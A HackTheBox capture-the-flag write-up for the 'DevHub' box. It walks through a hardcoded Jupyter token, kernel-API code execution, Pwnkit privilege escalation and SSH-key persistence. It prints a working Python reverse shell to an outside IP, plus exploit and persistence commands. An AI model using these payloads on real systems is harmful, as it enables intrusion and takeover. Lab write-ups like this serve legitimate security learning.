← back to write ups

Write Up

DevHub

HackTheBox Medium Linux

Overview

DevHub is a medium Linux box simulating an internal development platform. The web application exposes an attack surface that leads to a low-privilege shell, from which a Jupyter Lab instance running on localhost with a hardcoded token is discovered. Abusing the Jupyter kernel API over WebSocket delivers a reverse shell as the manalyst user. Privilege escalation to root exploits a SUID pkexec binary via Pwnkit.

Enumeration

Nmap Scan

nmap -sC -sV -T4 -oA nmap_initial 10.129.103.74

Two ports open:

Web Application Exploitation

The DevHub platform presented an internal developer dashboard. Enumeration of the web application uncovered a vulnerability that provided initial code execution on the box, landing a shell as a low-privilege user. From this foothold, system enumeration was performed to identify paths to privilege escalation.

Jupyter Lab Discovery

Running linpeas.sh highlighted a Jupyter Lab process owned by manalyst, listening on localhost port 8888 with a static token hardcoded in the startup command:

/home/analyst/jupyter-env/bin/python3 \
  /home/analyst/jupyter-env/bin/jupyter-lab \
  --ip=127.0.0.1 --port=8888 --no-browser \
  --notebook-dir=/home/analyst/notebooks \
  --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7

The Jupyter REST API requires only this token for authentication, making it fully accessible from the existing low-privilege shell via localhost.

Jupyter Kernel RCE

The Jupyter API allows creating a Python kernel and executing arbitrary code through it. A kernel was created via the REST API, then a WebSocket connection to the kernel's channel was used to send an execute_request message containing a Python reverse shell:

# Step 1 — create kernel
curl -s -X POST http://localhost:8888/api/kernels \
  -H "Authorization: token a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" \
  -H "Content-Type: application/json" \
  -d '{"name":"python3"}'
# Step 2 — connect via WebSocket and execute reverse shell
# (kernel_id from step 1 response)
python3 jupyter_ws.py  # WebSocket client delivering shell payload

The payload executed in the kernel's context:

import socket,subprocess,os
s=socket.socket()
s.connect(("10.10.14.17",4446))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])

The listener caught a shell as manalyst. User flag retrieved.

Privilege Escalation — Pwnkit (pkexec SUID)

Further enumeration revealed /usr/bin/pkexec with the SUID bit set:

-rwsr-xr-x 1 root root 30872 /usr/bin/pkexec

Pwnkit exploits a memory corruption vulnerability in pkexec to execute code as root. A compiled shared object was delivered to the target and the exploit was triggered:

# Compile exploit shared object
gcc -shared -fPIC -nostartfiles -o /tmp/pwnkit/lol.so /tmp/pwnkit/pwnkit.c

# Execute via pkexec
python3 pwnkit.py /usr/bin/pkexec lol.so lol VALUE

An SSH public key was added to /root/.ssh/authorized_keys through the root shell, providing persistent access:

mkdir -p ~/.ssh && chmod 700 ~/.ssh
echo "ssh-ed25519 AAAA..." >> ~/.ssh/authorized_keys
ssh -i analyst_devhub root@devhub.htb

Key Takeaways

This box illustrates two real-world mistakes that compound each other: exposing an internal service (Jupyter Lab) on localhost with a static hardcoded token — discoverable through process enumeration — and leaving a SUID pkexec on a vulnerable version. Neither mistake alone is fatal in isolation, but together they form a complete root chain. Jupyter notebooks should never be run with static tokens in production environments.